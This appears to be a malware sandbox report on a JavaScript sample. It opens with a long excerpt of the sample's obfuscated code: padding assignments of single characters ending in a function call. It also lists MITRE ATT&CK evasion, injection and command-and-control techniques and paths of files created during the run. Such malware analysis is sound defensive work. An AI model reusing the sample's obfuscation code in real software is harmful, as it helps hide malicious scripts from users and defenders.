1008	eydxqo = "o";
1009	eydxqo = "y";
1010	eydxqo = "T";
1011	eydxqo = "K";
1012	eydxqo = "C";
1013	eydxqo = "q";
1014	eydxqo = "X";
1015	eydxqo = "J";
1016	eydxqo = "N";
1017	eydxqo = "j";
1018	eydxqo = "J";
1019	eydxqo = "K";
1020	eydxqo = "R";
1021	eydxqo = "m";
1022	eydxqo = "J";
1023	eydxqo = "f";
1024	eydxqo = "D";
1025	eydxqo = "G";
1026	eydxqo = "S";
1027	eydxqo = "q";
1028	eydxqo = "h";
1029	eydxqo = "m";
1030	eydxqo = "C";
1031	eydxqo = "3";
1032	vhmncmjy = "N";
1033	vhmncmjy = "u";
1034	vhmncmjy = "G";
1035	vhmncmjy = "U";
1036	vhmncmjy = "c";
1037	vhmncmjy = "F";
1038	vhmncmjy = "i";
1039	vhmncmjy = "A";
1040	vhmncmjy = "S";
1041	vhmncmjy = "F";
1042	vhmncmjy = "k";
1043	vhmncmjy = "J";
1044	vhmncmjy = "A";
1045	vhmncmjy = "x";
1046	vhmncmjy = "X";
1047	vhmncmjy = "n";
1048	vhmncmjy = "l";
1049	vhmncmjy = "S";
1050	vhmncmjy = "F";
1051	kdiqe = "z";
1052	kdiqe = "l";
1053	kdiqe = "R";
1054	kdiqe = "l";
1055	kdiqe = "R";
1056	kdiqe = "S";
1057	mazhfycg = "Y";
1058	mazhfycg = "T";
1059	mazhfycg = "U";
1060	mazhfycg = "j";
1061	mazhfycg = "d";
1062	mazhfycg = "m";
1063	mazhfycg = "Y";
1064	mazhfycg = "l";
1065	mazhfycg = "b";
1066	mazhfycg = "r";
1067	mazhfycg = "Q";
1068	mazhfycg = "d";
1069	mazhfycg = "Y";
1070	mazhfycg = "p";
1071	mazhfycg = "d";
1072	mazhfycg = "f";
1073	mazhfycg = "m";
1074	mazhfycg = "B";
1075	mazhfycg = "n";
1076	mazhfycg = "t";
1077	mazhfycg = "A";
1078	mazhfycg = "q";
1079	mazhfycg = "C";
1080	mazhfycg = "P";
1081	mazhfycg = "E";
1082	mazhfycg = "a";
1083	mazhfycg = "v";
1084	mazhfycg = "q";
1085	mazhfycg = "n";
1086	mazhfycg = "\"";
1087	pnlne = "o";
1088	pnlne = "d";
1089	pnlne = "v";
1090	pnlne = "p";
1091	pnlne = "V";
1092	pnlne = "E";
1093	pnlne = "s";
1094	pnlne = "p";
1095	pnlne = "I";
1096	fhbqleouv = "r";
1097	fhbqleouv = "J";
1098	fhbqleouv = "j";
1099	fhbqleouv = "c";
1100	fhbqleouv = "d";
1101	fhbqleouv = "p";
1102	fhbqleouv = "q";
1103	fhbqleouv = "V";
1104	fhbqleouv = "Y";
1105	fhbqleouv = "i";
1106	fhbqleouv = "P";
1107	fhbqleouv = "K";
1108	fhbqleouv = "O";
1109	fhbqleouv = "K";
1110	fhbqleouv = "G";
1111	fhbqleouv = "e";
1112	fhbqleouv = "d";
1113	fhbqleouv = "C";
1114	fhbqleouv = "V";
1115	fhbqleouv = "P";
1116	fhbqleouv = "a";
1117	fhbqleouv = "f";
1118	fhbqleouv = "f";
1119	fhbqleouv = "n";
1120	fhbqleouv = "d";
1121	fhbqleouv = "L";
1122	fhbqleouv = "E";
1123	fhbqleouv = "R";
1124	eveihnfnk = "M";
1125	eveihnfnk = "e";
1126	nwevd = "R";
1127	nwevd = "y";
1128	nwevd = "Z";
1129	nwevd = "r";
1130	nwevd = "B";
1131	nwevd = "r";
1132	nwevd = "Q";
1133	nwevd = "f";
1134	nwevd = "s";
1135	nwevd = "J";
1136	nwevd = "Q";
1137	nwevd = "g";
1138	nwevd = "B";
1139	nwevd = "D";
1140	nwevd = "I";
1141	nwevd = "k";
1142	nwevd = "W";
1143	nwevd = "n";
1144	nwevd = "X";
1145	nwevd = "U";
1146	nwevd = "V";
1147	nwevd = "U";
1148	nwevd = "x";
1149	nwevd = "z";
1150	nwevd = "A";
1151	nwevd = "J";
1152	nwevd = "s";
1153	nwevd = "x";
1154	nwevd = "t";
1155	zptxs = "I";
1156	zptxs = "C";
1157	zptxs = "p";
1158	zptxs = "u";
1159	zptxs = "f";
1160	zptxs = "W";
1161	zptxs = "%";
1162	tswywfj = "F";
1163	tswywfj = "e";
1164	tswywfj = "i";
1165	tswywfj = "s";
1166	tswywfj = "h";
1167	tswywfj = "U";
1168	tswywfj = "o";
1169	tswywfj = "l";
1170	tswywfj = "q";
1171	tswywfj = "Y";
1172	tswywfj = "l";
1173	tswywfj = "c";
1174	tswywfj = "Z";
1175	tswywfj = "w";
1176	tswywfj = "c";
1177	tswywfj = "w";
1178	tswywfj = "x";
1179	tswywfj = "V";
1180	tswywfj = "V";
1181	tswywfj = "K";
1182	tswywfj = "L";
1183	tswywfj = "Z";
1184	tswywfj = "n";
1185	tswywfj = "F";
1186	tswywfj = "N";
1187	tswywfj = "X";
1188	tswywfj = "z";
1189	tswywfj = "l";
1190	tswywfj = "Z";
1191	tswywfj = "O";
1192	tswywfj = "k";
1193	tswywfj = "j";
1194	gmobhiwy = "Y";
1195	gmobhiwy = "q";
1196	gmobhiwy = "B";
1197	gmobhiwy = "Y";
1198	gmobhiwy = "w";
1199	gmobhiwy = "v";
1200	gmobhiwy = "A";
1201	gmobhiwy = "J";
1202	gmobhiwy = "2";
1203	huvcvgj = "o";
1204	huvcvgj = "M";
1205	huvcvgj = "j";
1206	huvcvgj = "J";
1207	huvcvgj = "M";
1208	huvcvgj = "-";
1209	rgfmjqa = "D";
1210	rgfmjqa = "P";
1211	rgfmjqa = "z";
1212	rgfmjqa = "V";
1213	rgfmjqa = "L";
1214	rgfmjqa = "s";
1215	rgfmjqa = "n";
1216	rgfmjqa = "q";
1217	rgfmjqa = "g";
1218	rgfmjqa = "t";
1219	rgfmjqa = "L";
1220	rgfmjqa = "m";
1221	rgfmjqa = "t";
1222	rgfmjqa = "R";
1223	rgfmjqa = "u";
1224	rgfmjqa = "K";
1225	rgfmjqa = "h";
1226	rgfmjqa = "F";
1227	rgfmjqa = "I";
1228	rgfmjqa = "s";
1229	rgfmjqa = "P";
1230	rgfmjqa = "B";
1231	rgfmjqa = "F";
1232	rgfmjqa = "S";
1233	rgfmjqa = "V";
1234	rgfmjqa = "b";
1235	rgfmjqa = "e";
1236	rgfmjqa = "u";
1237	rgfmjqa = "d";
1238	rgfmjqa = "j";
1239	rgfmjqa = "p";
1240	rgfmjqa = "G";
1241	rgfmjqa = "T";
1242	rgfmjqa = "U";
1243	rgfmjqa = "N";
1244	rgfmjqa = "H";
1245	rgfmjqa = "g";
1246	rgfmjqa = "J";
1247	rgfmjqa = "A";
1248	rgfmjqa = "n";
1249	rgfmjqa = "S";
1250	rgfmjqa = "F";
1251	rgfmjqa = "s";
1252	rgfmjqa = "_";
1253	hdlgrg = "v";
1254	hdlgrg = "L";
1255	hdlgrg = "l";
1256	hdlgrg = "A";
1257	hdlgrg = "E";
1258	hdlgrg = "z";
1259	hdlgrg = "a";
1260	hdlgrg = "J";
1261	hdlgrg = "i";
1262	hdlgrg = "e";
1263	hdlgrg = "e";
1264	hdlgrg = "a";
1265	hdlgrg = "p";
1266	hdlgrg = "l";
1267	hdlgrg = "I";
1268	hdlgrg = "q";
1269	hdlgrg = "l";
1270	hdlgrg = "A";
1271	hdlgrg = "S";
1272	hdlgrg = "8";
1273	zdkrof = "P";
1274	zdkrof = "Z";
1275	zdkrof = "L";
1276	zdkrof = "l";
1277	zdkrof = "e";
1278	zdkrof = "S";
1279	zdkrof = "S";
1280	zdkrof = "h";
1281	zdkrof = "v";
1282	zdkrof = "K";
1283	zdkrof = "w";
1284	zdkrof = "c";
1285	zdkrof = "i";
1286	frqbtfa = "C";
1287	frqbtfa = "L";
1288	frqbtfa = "g";
1289	frqbtfa = "s";
1290	frqbtfa = "g";
1291	frqbtfa = "x";
1292	frqbtfa = "E";
1293	frqbtfa = "a";
1294	frqbtfa = "7";
1295	hlpxl = "N";
1296	hlpxl = "K";
1297	hlpxl = "A";
1298	hlpxl = "Z";
1299	hlpxl = "G";
1300	hlpxl = "Y";
1301	hlpxl = "j";
1302	hlpxl = "n";
1303	hlpxl = "E";
1304	hlpxl = "Z";
1305	hlpxl = "l";
1306	hlpxl = "I";
1307	hlpxl = "N";
1308	hlpxl = "q";
1309	hlpxl = "S";
1310	hlpxl = "i";
1311	hlpxl = "Y";
1312	hlpxl = "X";
1313	hlpxl = "r";
1314	hlpxl = "H";
1315	hlpxl = "U";
1316	hlpxl = "D";
1317	hlpxl = "U";
1318	hlpxl = "z";
1319	hlpxl = "C";
1320	hlpxl = "q";
1321	hlpxl = "s";
1322	hlpxl = "S";
1323	hlpxl = "T";
1324	hlpxl = "o";
1325	hlpxl = "I";
1326	hlpxl = "E";
1327	hlpxl = "P";
1328	hlpxl = "M";
1329	hlpxl = "S";
1330	hlpxl = "0";
1331	sgncnivif = "v";
1332	sgncnivif = "X";
1333	sgncnivif = "K";
1334	sgncnivif = "v";
1335	sgncnivif = "q";
1336	sgncnivif = "z";
1337	sgncnivif = "f";
1338	sgncnivif = "Z";
1339	sgncnivif = "z";
1340	sgncnivif = "W";
1341	sgncnivif = "y";
1342	sgncnivif = "Y";
1343	sgncnivif = "h";
1344	sgncnivif = "j";
1345	sgncnivif = "i";
1346	sgncnivif = "h";
1347	sgncnivif = "y";
1348	sgncnivif = "V";
1349	sgncnivif = "t";
1350	sgncnivif = "L";
1351	sgncnivif = "s";
1352	sgncnivif = "f";
1353	sgncnivif = "Z";
1354	sgncnivif = "f";
1355	sgncnivif = "n";
1356	emuvber = "k";
1357	emuvber = "F";
1358	emuvber = "q";
1359	emuvber = "I";
1360	emuvber = "E";
1361	emuvber = "I";
1362	emuvber = "R";
1363	emuvber = "p";
1364	emuvber = "s";
1365	emuvber = "S";
1366	emuvber = "Q";
1367	emuvber = "T";
1368	emuvber = "D";
1369	emuvber = "x";
1370	emuvber = "i";
1371	emuvber = "O";
1372	emuvber = "s";
1373	emuvber = "e";
1374	emuvber = "U";
1375	emuvber = "R";
1376	emuvber = "d";
1377	emuvber = "q";
1378	emuvber = "J";
1379	emuvber = "Q";
1380	emuvber = "Y";
1381	emuvber = "E";
1382	emuvber = "N";
1383	yluzlivnr ( );	yluzlivnr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 984279432356016169.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7468e5a3-c3af-425c-8e78-3fc9816ddd82.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7d4dc4d3-bc10-4989-b7d4-f4dab82e5aab.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6e6f0e.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
984279432356016169.js